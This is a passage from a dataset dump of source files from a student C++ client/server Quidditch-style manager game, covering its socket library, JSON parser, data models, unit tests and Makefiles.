parent_->setNextScreen(MAINMENUSTATE);\n}\n" }, { "alpha_fraction": 0.6857143044471741, "alphanum_fraction": 0.6857143044471741, "avg_line_length": 9.142857551574707, "blob_id": "b30d25eee6f54bf99d6e9f2ab787fd1a7abb5266", "content_id": "db06a3720ada0134123ea327b2c4363a5d03f4e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 70, "license_type": "permissive", "max_line_length": 20, "num_lines": 7, "path": "/doc/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": ".PHONY: all clean\n\nall:\n\tdoxygen Doxyfile\n\nclean:\n\trm -fr ../build/doc" }, { "alpha_fraction": 0.6617646813392639, "alphanum_fraction": 0.6617646813392639, "avg_line_length": 12.600000381469727, "blob_id": "f5d625fc33a7da46636c354b6a32ca14890fb9e2", "content_id": "d7003951ff6a83e4a4b16948da36b6bafa4a8421", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 68, "license_type": "permissive", "max_line_length": 24, "num_lines": 5, "path": "/src/server/views/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../options.mk\n\nNAME=server-views\n\ninclude ../../rules.mk\n" }, { "alpha_fraction": 0.6419752836227417, "alphanum_fraction": 0.6481481194496155, "avg_line_length": 13.727272987365723, "blob_id": "3c51f5c578df167272403e5e06340f1e7dd64940", "content_id": "dc3ab74b71c6e62c21039301a4bf8fbcb4aff0f1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 162, "license_type": "permissive", "max_line_length": 39, "num_lines": 11, "path": "/src/common/lib/test/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"libtest.h\"\n\nusing namespace std;\n\nvoid test_assert_raise() {\n ASSERT_RAISE(throw 1, ..., \"test\");\n}\n\n#define TESTVEC {T(test_assert_raise)}\n\nTEST();\n" }, { "alpha_fraction": 0.5436105728149414, "alphanum_fraction": 0.5551047921180725, "avg_line_length": 21.75384521484375, "blob_id": "bcb6bb43f83a21ecb8157ecacf1fdc231a5c98fb", "content_id": "4730aac4568c3936f73f121ecf20e90a9b68d126", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2958, "license_type": "permissive", "max_line_length": 89, "num_lines": 130, "path": "/src/common/lib/socket/Socket.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Socket.h\"\n\nusing namespace std;\n\nSocket::Socket() {\n mutex_init();\n\n fd_ = 0;\n buffer[0] = '\\0';\n}\n\nSocket::Socket(const int fd) {\n mutex_init();\n\n buffer[0] = '\\0';\n setFd(fd);\n}\n\nvoid Socket::mutex_init() {\n pthread_mutex_init(&write_lock, NULL);\n pthread_mutex_init(&read_lock, NULL);\n}\n\nSocket::Socket(string hostname, int port) {\n mutex_init();\n\n int sockfd;\n struct sockaddr_in their_addr;\n struct hostent * he;\n\n if ((he = gethostbyname(hostname.c_str())) == NULL) {\n throw SocketError(\"gethostbyname : \" + std::string(strerror(errno)));\n }\n\n if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {\n throw SocketError(\"socket : \" + std::string(strerror(errno)));\n }\n\n their_addr.sin_family = AF_INET;\n their_addr.sin_port = htons(port);\n their_addr.sin_addr = *((struct in_addr *)he->h_addr);\n memset(&(their_addr.sin_zero), '\\0', 8);\n\n\n if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {\n throw SocketError(\"connect : \" + std::string(strerror(errno)));\n }\n\n buffer[0] = '\\0';\n fd_ = sockfd;\n}\n\nSocket::~Socket() {\n if (fd_ != 0) {\n close(fd_);\n }\n}\n\nint Socket::write(string message) {\n pthread_mutex_lock(&write_lock);\n const char * msg; //const?\n int len, bytes_sent;\n\n message += \"\\n\\n\";\n msg = message.c_str();\n len = strlen(msg);\n bytes_sent = 0;\n\n while (len > 0) {\n bytes_sent = send(fd_, msg, len, 0);\n if (bytes_sent == -1) {\n perror(\"\");\n return -1; // socket error, could not write\n }\n len -= bytes_sent;\n msg = msg + bytes_sent;\n }\n pthread_mutex_unlock(&write_lock);\n return 0;\n}\n\nstring Socket::popFromBuffer() {\n string partial;\n size_t nextStop;\n partial = buffer;\n nextStop = partial.find(MESSAGE_END);\n if (nextStop == string::npos) {\n buffer[0] = '\\0';\n }\n else {\n strcpy(buffer, buffer + nextStop + 2);\n partial = partial.substr(0, nextStop + 2);\n }\n return partial;\n}\n\nint Socket::read(string & message) {\n pthread_mutex_lock(&read_lock);\n bool isComplete;\n\n message = popFromBuffer();\n isComplete = (message.find(MESSAGE_END) != string::npos);\n\n while (!isComplete) {\n int len;\n len = recv(fd_, buffer, sizeof(buffer) - 1, 0);\n if (len == -1) {\n return -1; // socket error, could not read\n }\n else if (len == 0) {\n return 0; // connection closed from other side\n\n }\n buffer[len] = '\\0'; // prevent buffer overflow\n message += popFromBuffer();\n isComplete = (message.find(MESSAGE_END) != string::npos);\n }\n\n message = message.substr(0, message.length() - 2); // remove MESSAGE_END\n pthread_mutex_unlock(&read_lock);\n return 1;\n}\n\nint Socket::getFd() const {\n return fd_;\n}\n\nvoid Socket::setFd(const int fd) {\n fd_ = fd;\n}\n" }, { "alpha_fraction": 0.6273584961891174, "alphanum_fraction": 0.6424528360366821, "avg_line_length": 25.5, "blob_id": "bdb9c281b32bfa36832a32f7acfb3fc84b91eab4", "content_id": "2b4deed4529555b11a0a6ae820e20166800b51b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1060, "license_type": "permissive", "max_line_length": 111, "num_lines": 40, "path": "/src/client/receive-views/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../../common/lib/test/libtest.h\"\n#include \"serverhandler.h\"\n\nusing namespace std;\n\n\nvoid test_connect() {\n ServerHandler sh = ServerHandler(\"localhost\", 5000);\n ASSERT(sh.connect_socket(), \"connection failed\");\n}\n\nvoid test_connect_inex() {\n ServerHandler sh = ServerHandler(\"localhost\", 1);\n ASSERT_FALSE(sh.connect_socket(), \"connection should have failed\");\n}\n\nvoid send_message() {\n ServerHandler sh = ServerHandler(\"localhost\", 5000);\n ASSERT(sh.connect_socket(), \"Connection failed\");\n sh.send(\"plop:\");\n string message;\n sh.recieve(message);\n ASSERT_EQUAL(\"error:{\\\"Bad request\\\" : \\\"Unknown topic : 'plop'\\\", \\\"code\\\" : 100}\", message, \"Bad error\");\n}\n\nvoid send_without_connect() {\n bool catched = false;\n ServerHandler sh = ServerHandler(\"localhost\", 5000);\n try {\n sh.send(\"youhou\");\n }\n catch (...) {\n catched = true;\n }\n ASSERT(catched, \"Exception not thrown\");\n}\n\n#define TESTVEC {T(test_connect), T(test_connect_inex), T(send_message), T(send_without_connect)}\n\nTEST();\n" }, { "alpha_fraction": 0.5403329133987427, "alphanum_fraction": 0.5428937077522278, "avg_line_length": 26.89285659790039, "blob_id": "c88cb4c3f347dad972fb49c90d32111c1fb29d98", "content_id": "284dfde8b120839fc6016d9c244ea5d6a2650be9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1562, "license_type": "permissive", "max_line_length": 120, "num_lines": 56, "path": "/src/common/lib/json/utils.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"utils.h\"\n\nusing namespace std;\n\nint skip_whitespace(string message, int start) {\n int ret = 0;\n while (start + ret < message.length()) {\n switch (message[start + ret]) {\n case '\\n':\n case '\\t':\n case '\\r':\n case ' ':\n break;\n default:\n return ret;\n }\n ret++;\n }\n throw PARSE_ERROR(\"while skipping whitespace\", start + ret);\n}\n\nint skip_colon(string message, int start) {\n int ret = skip_whitespace(message, start);\n bool colon = false;\n while (start + ret < message.length() && !colon) {\n switch (message[start + ret]) {\n case ':':\n colon = true;\n break;\n default:\n throw PARSE_ERROR(\"while skipping colons found '\" + string(1, message[start + ret]) + \"'\", start + ret);\n }\n ret++;\n }\n ret += skip_whitespace(message, start + ret);\n return ret;\n}\n\nstring cut_from(string message, int from) {\n return message.substr(from, message.length());\n}\n\nvoid replace_all(string & str, const string & find, const string & replacement) {\n if (find.empty()) {\n return;\n }\n size_t start_pos = 0;\n while ((start_pos = str.find(find, start_pos)) != std::string::npos) {\n str.replace(start_pos, find.length(), replacement);\n start_pos += replacement.length();\n }\n}\n\nvoid replace_all(string & str, const string & find, const char & replacement) {\n return replace_all(str, find, string(1, replacement));\n}\n" }, { "alpha_fraction": 0.7104430198669434, "alphanum_fraction": 0.7136076092720032, "avg_line_length": 15.631579399108887, "blob_id": "34234cd24569f0a3e0908cea7810ad5d689a85c5", "content_id": "ddbc1c1476a55d02b8f984d10f589501a1a65120", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 632, "license_type": "permissive", "max_line_length": 56, "num_lines": 38, "path": "/src/common/lib/socket/BindSocket.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef BSOCKET_H\n#define BSOCKET_H\n\n#include \"Socket.h\"\n#include \"../exception/SocketError.h\"\n\n#include \"helpers.h\"\n\n#include <stdlib.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n\n#include <string>\n#include <vector>\n#include <iostream>\n\n#define BACKLOG 10\n\nclass ClientSocket;\n\nclass BindSocket: public Socket {\npublic:\n BindSocket(std::string hostname, int port);\n virtual ClientSocket * accept_client();\n};\n\nclass ClientSocket: public Socket {\npublic:\n ClientSocket(const int fd, sockaddr_storage remote);\n std::string remote();\n\nprivate:\n sockaddr_storage remote_addr_;\n};\n\n//BSOCKET_H\n#endif\n" }, { "alpha_fraction": 0.6659750938415527, "alphanum_fraction": 0.6659750938415527, "avg_line_length": 21.952381134033203, "blob_id": "4e73a8a117b4556a165de8c1f951e1a7df0b4ea4", "content_id": "cc6708b62c1ff1b37db7c3811c037eacef82ff60", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 482, "license_type": "permissive", "max_line_length": 65, "num_lines": 21, "path": "/src/common/lib/file/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../test/libtest.h\"\n\n#include \"file.h\"\n\nusing namespace std;\n\nvoid test_dir() {\n // TODO: should remove old directories\n ASSERT(createDir(\"/tmp/plop\"), \"Creation failed\");\n // TODO: should test if dir realy exists\n}\n\nvoid test_recursive_dir() {\n // TODO: should remove old directories\n ASSERT(createDir(\"/tmp/plip/plap/plop/\"), \"Creation failed\");\n // TODO: should test if dir realy exists\n}\n\n#define TESTVEC {T(test_dir), T(test_recursive_dir)}\n\nTEST();\n" }, { "alpha_fraction": 0.6196318864822388, "alphanum_fraction": 0.6196318864822388, "avg_line_length": 16.157894134521484, "blob_id": "702f68fd9894685f3aefafabe3e5fd96d8e86a3d", "content_id": "e974584decc2749bfe7ef48bf9da4dbd72a950c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 326, "license_type": "permissive", "max_line_length": 74, "num_lines": 19, "path": "/src/common/models/Item.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Item.h\"\n\nusing namespace std;\n\nItem::Item() {}\n\nItem::Item(JsonValue * json) {\n JsonDict * item_dict = JDICT(json);\n if (item_dict == NULL) {\n throw ModelUnserializationError(\"Item initialized from non dict\");\n }\n}\n\nItem::~Item() {}\n\nItem::operator JsonDict() const {\n JsonDict r;\n return r;\n}\n" }, { "alpha_fraction": 0.5927246809005737, "alphanum_fraction": 0.6019971370697021, "avg_line_length": 23.172412872314453, "blob_id": "61b1523de9c4274f74322cc3f0e9b984cff15baa", "content_id": "b89923fb40adc048c5c6adab21db3e472bad064e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1402, "license_type": "permissive", "max_line_length": 80, "num_lines": 58, "path": "/src/client/gui/main.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"mainwindow.h\"\n#include <QApplication>\n#include <QPushButton>\n#include <QGraphicsView>\n#include <QGridLayout>\n#include <QLabel>\n#include <QPixmap>\n#include <iostream>\n\n#include <menuwindow.h>\n#include \"../receive-views/serverhandler.h\"\n#include \"../../common/lib/thread/thread.h\"\n\nusing namespace std;\n\nvoid * start_loop(void * arg) {\n ServerHandler * handler = (ServerHandler *) arg;\n handler->loop();\n QMessageBox::critical(handler->getWindow(), \"Error\", \"Server disconnected\");\n QApplication::quit();\n return 0;\n}\n\nint main(int argc, char * argv[]) {\n const char * slash = strrchr(argv[0], '/');\n if (slash) {\n std::string clientdir(argv[0], slash - argv[0]);\n chdir(clientdir.c_str());\n #ifdef __APPLE__\n chdir(\"../../../\");\n #endif\n }\n\n QApplication app(argc, argv);\n\n MainWindow * window = new MainWindow();\n\n string hostname = \"localhost\";\n int port = 9000;\n if (argc == 2) {\n hostname = argv[1];\n }\n if (argc == 3) {\n port = stoi(argv[2]);\n }\n ServerHandler handler = ServerHandler(hostname, port, window);\n\n window->show();\n if (!handler.connect_socket()) {\n QMessageBox::critical(window, \"Error\", \"Cannot connect to server\");\n QApplication::quit();\n return -1;\n }\n\n Thread loopThread = Thread(start_loop, (void *)&handler);\n\n return app.exec();\n}\n" }, { "alpha_fraction": 0.6403712034225464, "alphanum_fraction": 0.642691433429718, "avg_line_length": 16.239999771118164, "blob_id": "6a0381d495044dd313710add9044687c615e284a", "content_id": "ab13b3a4885a77094c84cd38a6c5605c370a0535", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 431, "license_type": "permissive", "max_line_length": 40, "num_lines": 25, "path": "/src/common/models/Ball.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef BALL_H\n#define BALL_H\n\n#include <string>\n\n#include \"Position.h\"\n\nclass Ball {\n\npublic:\n Ball();\n Ball(int speed);\n Ball(int speed, Position position);\n virtual ~Ball();\n Position getPosition();\n void setPosition(int x, int y);\n void setPosition(Position position);\n std::string virtual getName() = 0;\n int getSpeed() const;\n\nprotected:\n int speed_;\n Position position_;\n};\n#endif // BALL_H\n" }, { "alpha_fraction": 0.7160839438438416, "alphanum_fraction": 0.7160839438438416, "avg_line_length": 30.086956024169922, "blob_id": "6d912a22445ebd398073ad4efbc4825f8839783f", "content_id": "b20042032003d22eac6670bf92b027f412bb0cad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 715, "license_type": "permissive", "max_line_length": 86, "num_lines": 23, "path": "/src/client/send-views/views.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SVIEWS_H\n#define SVIEWS_H\n\n#include <vector>\n\n#include \"../../common/lib/json/json.h\"\n#include \"../../common/lib/socket/Socket.h\"\n#include \"../../common/models/Case.h\"\n\nnamespace sviews {\nvoid login(Socket * s, std::string username, std::string password);\nvoid signup(Socket * s, std::string username, std::string name, std::string password);\nvoid userlist(Socket * s);\nvoid playerlist(Socket * s);\nvoid challenge(Socket * s, std::string username);\nvoid refuseChallenge(Socket * s, std::string opponent, int matchID);\nvoid acceptChallenge(Socket * s, std::string opponent, int matchID);\nvoid endTurn(Socket * s, std::vector<Way> chosenWays);\nvoid surrenders(Socket * s, int matchID);\n}\n\n\n#endif // SVIEWS_H\n" }, { "alpha_fraction": 0.7906976938247681, "alphanum_fraction": 0.7906976938247681, "avg_line_length": 20.5, "blob_id": "b60743e5c2f2672516c95cd3be162432b28c10ec", "content_id": "5feb2f662ecf3dba2381632b65aa9dee57b76a4c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 301, "license_type": "permissive", "max_line_length": 79, "num_lines": 14, "path": "/src/common/models/ModelUnserializationError.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MODELUNSERIALIZATION\n#define MODELUNSERIALIZATION\n\n#include <iostream>\n#include <sstream>\n#include <exception>\n#include <stdexcept>\n\nclass ModelUnserializationError: public std::runtime_error {\npublic:\n ModelUnserializationError(std::string message=\"Json serialization error.\");\n};\n\n#endif\n" }, { "alpha_fraction": 0.6638655662536621, "alphanum_fraction": 0.6642156839370728, "avg_line_length": 20.473684310913086, "blob_id": "de1e7b86477d78716ea7d485b72ae36d0d797295", "content_id": "2eebec807720c3e50ef2bccc19a683def7faf6e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2856, "license_type": "permissive", "max_line_length": 65, "num_lines": 133, "path": "/src/common/lib/json/json.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef JSON_H\n#define JSON_H\n\n#include <vector>\n#include <iostream>\n#include <typeinfo>\n#include <map>\n#include <algorithm>\n#include <string>\n\n#include \"utils.h\"\n#include \"ParseError.h\"\n\n#define JDICT dynamic_cast<JsonDict *>\n#define JLIST dynamic_cast<JsonList *>\n#define JSTRING dynamic_cast<JsonString *>\n#define JINT dynamic_cast<JsonInt *>\n#define JNULL dynamic_cast<JsonNull *>\n#define JBOOL dynamic_cast<JsonBool *>\n\nclass JsonValue {\npublic:\n virtual ~JsonValue() {};\n static JsonValue * fromString(std::string message, int & i);\n static JsonValue * fromString(std::string message);\n\n virtual std::string toString() {\n return \"\";\n };\n\nprivate:\n virtual void plop() {}\n};\n\n\nclass JsonString: public JsonValue {\npublic:\n JsonString(std::string val);\n\n static JsonString * fromString(std::string message, int & i);\n static JsonString * fromString(std::string message);\n\n std::string toString();\n\n operator std::string() const;\n\nprivate:\n virtual void plop() {}\n std::string value;\n};\n\nclass JsonDict: public JsonValue {\npublic: ~JsonDict();\n static JsonDict * fromString(std::string message, int & i);\n static JsonDict * fromString(std::string message);\n\n std::string toString();\n\n JsonValue * operator[](const std::string & str);\n\n void add(std::string key, JsonValue * value);\n size_t size();\n\nprivate:\n virtual void plop() {}\n std::map<std::string, JsonValue *> dict;\n};\n\nclass JsonList: public JsonValue {\npublic: ~JsonList();\n static JsonList * fromString(std::string message, int & i);\n static JsonList * fromString(std::string message);\n\n std::string toString();\n\n JsonValue * operator[](const int & i);\n\n void add(JsonValue * value);\n size_t size();\n\nprivate:\n virtual void plop() {}\n std::vector<JsonValue *> content;\n};\n\nclass JsonInt: public JsonValue {\npublic:\n JsonInt(int val=0);\n\n static JsonInt * fromString(std::string message, int & i);\n static JsonInt * fromString(std::string message);\n\n std::string toString();\n\n int getValue();\n void setValue(int val);\n void setValue(std::string val);\n\n operator std::string() const;\n operator int() const;\n\nprivate:\n virtual void plop() {}\n int value;\n};\n\nclass JsonNull: public JsonValue {\npublic:\n static JsonNull * fromString(std::string message, int & i);\n static JsonNull * fromString(std::string message);\n\n std::string toString();\n bool operator ==(const int * i);\n\nprivate:\n virtual void plop() {}\n};\n\nclass JsonBool: public JsonValue {\npublic:\n JsonBool(bool val);\n static JsonBool * fromString(std::string message, int & i);\n static JsonBool * fromString(std::string message);\n\n std::string toString();\n bool operator ==(const bool i);\n operator bool() const;\nprivate:\n virtual void plop() {}\n bool value;\n};\n\n#endif\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 11.5, "blob_id": "40fb0ea66ad62a084b9a68948d969d4ae88e26a4", "content_id": "f71236a52134d39b9847b740e7772310dd44d04c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 75, "license_type": "permissive", "max_line_length": 27, "num_lines": 6, "path": "/src/common/lib/test/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libtest\nDEPS=\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.6697530746459961, "alphanum_fraction": 0.6697530746459961, "avg_line_length": 20.600000381469727, "blob_id": "6173298982896bae3924b8816b00222a07a0fd9b", "content_id": "283590c1a6ca1a3296147b6c52eb7e9529f506d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 648, "license_type": "permissive", "max_line_length": 92, "num_lines": 30, "path": "/src/common/models/Manager.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MANAGER_H\n#define MANAGER_H\n\n#include \"Club.h\"\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n#include <string>\n\nclass Manager {\n\npublic:\n Manager(std::string name, std::string userName, std::string password, Club club=Club());\n Manager(JsonValue * json);\n ~Manager();\n bool checkPassword(const std::string password);\n void changePassword(const std::string password);\n Club * getClub();\n std::string getUserName();\n std::string getName();\n operator JsonDict() const;\n\nprivate:\n std::string name_;\n std::string userName_;\n std::string hash_;\n Club club_;\n\n};\n\n#endif // MANAGER_H\n" }, { "alpha_fraction": 0.631805956363678, "alphanum_fraction": 0.631805956363678, "avg_line_length": 24.410959243774414, "blob_id": "3e00451ba6c067db02e68d05dad587f292da7057", "content_id": "4b5dc836949faecab1b5d862cdae099111e882ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1855, "license_type": "permissive", "max_line_length": 141, "num_lines": 73, "path": "/src/common/models/Manager.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Manager.h\"\nusing namespace std;\n\nManager::Manager(string name, string userName, string password, Club club): name_(name), userName_(userName), club_(club), hash_(password) {}\n\nManager::Manager(JsonValue * json) {\n JsonDict * manager = JDICT(json);\n if (manager == NULL) {\n throw ModelUnserializationError(\"Manager : hasn't got a dict\");\n }\n Club club;\n JsonDict * club_json = JDICT((*manager)[\"club\"]);\n if (club_json == NULL) {\n club = Club();\n }\n else {\n club = Club(club_json);\n }\n\n JsonString * name_string = JSTRING((*manager)[\"name\"]);\n if (name_string == NULL) {\n throw ModelUnserializationError(\"Manager : missing name\");\n }\n string name = *name_string;\n\n JsonString * username_string = JSTRING((*manager)[\"username\"]);\n if (username_string == NULL) {\n throw ModelUnserializationError(\"Manager : missing username\");\n }\n string username = *username_string;\n\n JsonString * password_string = JSTRING((*manager)[\"hash\"]);\n if (password_string == NULL) {\n throw ModelUnserializationError(\"Manager : missing hash\");\n }\n string password = *password_string;\n\n new (this)Manager(name, username, password, club);\n}\n\nManager::~Manager() {}\n\nbool Manager::checkPassword(const string password) {\n return password == hash_;\n}\n\nvoid Manager::changePassword(const string password) {\n hash_ = password;\n}\n\nClub * Manager::getClub() {\n return &club_;\n}\n\nstring Manager::getUserName() {\n return userName_;\n}\n\nstring Manager::getName() {\n return name_;\n}\n\nManager::operator JsonDict() const {\n JsonDict r;\n\n r.add(\"name\", new JsonString(name_));\n r.add(\"username\", new JsonString(userName_));\n r.add(\"hash\", new JsonString(hash_));\n JsonValue * club = new JsonDict(club_);\n r.add(\"club\", club);\n\n return r;\n}\n" }, { "alpha_fraction": 0.7384615540504456, "alphanum_fraction": 0.7384615540504456, "avg_line_length": 21.941177368164062, "blob_id": "d3bcdcabddedcf9d8e8f355f1b7e850129f09039", "content_id": "2168e4419abbd1edf86b9d41365340f49a0b5696", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 390, "license_type": "permissive", "max_line_length": 92, "num_lines": 17, "path": "/src/server/views/helpers.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef VIEWS_HELPERS_H\n#define VIEWS_HELPERS_H\n\n#include <cstdlib>\n#include <vector>\n\n#include \"../../common/lib/json/json.h\"\n\nclass UserHandler;\n\nvoid sendFail(UserHandler * handler, int errorcode, std::string topic, std::string message);\n\nbool isInConnectedList(std::vector<UserHandler *> * listUserHandler, std::string userName);\n\n#include \"../UserHandler.h\"\n\n#endif // VIEWS_HELPERS_H\n" }, { "alpha_fraction": 0.6871685981750488, "alphanum_fraction": 0.6871685981750488, "avg_line_length": 24.486486434936523, "blob_id": "931f5e8a4597609321f2638807be4ebca51192f9", "content_id": "02b0f69dd35c8c11150c073fbc662d891fe25392", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 943, "license_type": "permissive", "max_line_length": 166, "num_lines": 37, "path": "/src/common/models/FieldPlayer.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef FIELDPLAYER_H\n#define FIELDPLAYER_H\n\n#include \"Player.h\"\n#include \"NonFieldPlayer.h\"\n\n\nclass FieldPlayer: public Player {\n\npublic:\n FieldPlayer(int role, bool guest);\n FieldPlayer(int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, std::vector<Item> inventory, int role, bool guest, bool hasQuaffle);\n FieldPlayer();\n FieldPlayer(JsonValue * json);\n ~FieldPlayer();\n FieldPlayer(NonFieldPlayer & nonFieldPlayer, int role, bool guest);\n FieldPlayer & operator=(Player & player);\n void move();\n void hitBudger();\n void catchGoldenSnitch();\n void throwQuaffle();\n void catchQuaffle();\n void testMove();\n bool isInGuestTeam();\n int getRole();\n void setRole(int role);\n operator JsonDict() const;\n bool hasQuaffle() const;\n void setHasQuaffle(bool hasQuaffle);\nprivate:\n bool guest_;\n int role_;\n bool hasQuaffle_;\n\n};\n\n#endif // FIELDPLAYER_H\n" }, { "alpha_fraction": 0.47589343786239624, "alphanum_fraction": 0.4813515245914459, "avg_line_length": 20.737287521362305, "blob_id": "39bd95076ee8807eb478b93089ca27ada82003e6", "content_id": "d16bebef6a6e76e70681f312fa62b7ddedd0c3a9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7695, "license_type": "permissive", "max_line_length": 109, "num_lines": 354, "path": "/src/common/lib/json/json.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"json.h\"\n\nusing namespace std;\n\n// Value\n\nJsonValue * JsonValue::fromString(string message) {\n int i = 0;\n return JsonValue::fromString(message, i);\n}\n\n\nJsonValue * JsonValue::fromString(string message, int & i) {\n while (i < message.length()) {\n i += skip_whitespace(message, i);\n switch (message[i]) {\n case '{':\n return JsonDict::fromString(message, i);\n break;\n case '[':\n return JsonList::fromString(message, i);\n break;\n case '\"':\n return JsonString::fromString(message, i);\n break;\n case 't':\n case 'f':\n return JsonBool::fromString(message, i);\n case 'n':\n return JsonNull::fromString(message, i);\n case '0':\n case '1':\n case '2':\n case '3':\n case '4':\n case '5':\n case '6':\n case '7':\n case '8':\n case '9':\n return JsonInt::fromString(message, i);\n break;\n default:\n throw PARSE_ERROR(\"unknwown value. Got '\" + string(1, message[i]) + \"'\", i);\n }\n }\n throw PARSE_ERROR(\"no value found\", i);\n}\n\n\n// String\n\nJsonString::JsonString(string val) {\n replace_all(val, \"\\\\\\\\\", '\\\\');\n replace_all(val, \"\\\\\\\"\", '\"');\n replace_all(val, \"\\\\t\", '\\t');\n replace_all(val, \"\\\\n\", '\\n');\n replace_all(val, \"\\\\r\", '\\r');\n replace_all(val, \"\\\\b\", '\\b');\n replace_all(val, \"\\\\f\", '\\f');\n // TODO : replace \\u four-hex-digits\n value = val;\n}\n\nJsonString::operator string() const {\n return value;\n}\n\n\nJsonString * JsonString::fromString(string message, int & i) {\n i++;\n int start = i;\n while (i < message.length()) {\n switch (message[i]) {\n case '\\\\':\n i++;\n break;\n case '\"':\n string s = message.substr(start, i - start);\n i++;\n return new JsonString(s);\n }\n i++;\n }\n throw PARSE_ERROR(\"No \\\" ending string\", i);\n}\n\nstring JsonString::toString() {\n string infos = \"\\\"\" + this->value + \"\\\"\";\n return infos;\n}\n\n// Dict\n\nJsonDict::~JsonDict() {\n for (std::map<std::string, JsonValue *>::iterator iter = dict.begin(); iter != dict.end(); ++iter) {\n delete iter->second;\n iter->second = NULL;\n }\n}\n\nJsonDict * JsonDict::fromString(string message, int & i) {\n i++;\n JsonDict * r = new JsonDict();\n i += skip_whitespace(message, i);\n\n if (message[i] == '}') {\n i++;\n return r;\n }\n\n while (1) {\n JsonString * key = NULL;\n JsonValue * value = NULL;\n\n i += skip_whitespace(message, i);\n key = JsonString::fromString(message, i);\n string key_str = *key;\n delete key;\n i += skip_whitespace(message, i);\n i += skip_colon(message, i);\n i += skip_whitespace(message, i);\n value = JsonValue::fromString(message, i);\n r->add(key_str, value);\n\n i += skip_whitespace(message, i);\n if (message[i] == ',') {\n i++;\n }\n else if (message[i] == '}') {\n i++;\n return r;\n }\n else {\n throw PARSE_ERROR(\"expected } or , found '\" + string(1, message[i]) + \"'\", i);\n }\n }\n}\n\nstring JsonDict::toString() {\n string infos = \"{\";\n for (map<string, JsonValue *>::iterator index = this->dict.begin(); index != this->dict.end(); ++index) {\n infos += \"\\\"\" + ((string) index->first) + \"\\\"\" + \" : \";\n infos += index->second->toString();\n infos += \", \";\n }\n infos = infos.substr(0, infos.size() - 2) + \"}\";\n return infos;\n}\n\nvoid JsonDict::add(string key, JsonValue * value) {\n dict[key] = value;\n}\n\nsize_t JsonDict::size() {\n return dict.size();\n}\n\nJsonValue * JsonDict::operator[](const string & str) {\n return this->dict[str];\n}\n\n\n// List\n\nJsonList::~JsonList() {\n for (int i = 0; i < content.size(); i++) {\n delete content[i];\n content[i] = NULL;\n 